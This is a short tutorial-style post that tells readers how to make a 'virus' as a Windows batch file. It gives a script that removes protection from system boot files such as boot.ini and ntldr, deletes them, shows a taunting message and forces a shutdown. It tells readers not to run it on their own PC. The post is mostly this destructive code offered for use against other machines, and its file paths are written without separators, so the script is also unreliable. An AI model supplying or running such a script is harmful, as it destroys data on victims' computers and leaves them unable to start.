Okay so now ,you want to create a virus that crashes the computer. There are many tricks available but i find it the simplest one. So follow me on this : 1. Open notepad and copy paste the following code. 2. @echo off attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c:ntldr del c:ntldr attrib -r -s -h c:windowswin.ini del c:windowswin.ini @echo off msg * YOU GOT OWNED!!! shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive 3. save it as .bat file . Note: DO NOT RUN IT ON YOUR OWN PC OR ELSE IT WILL CRASH. Generally or i would say almost always virus when created through notepad have an .bat extension. Enjoy!!!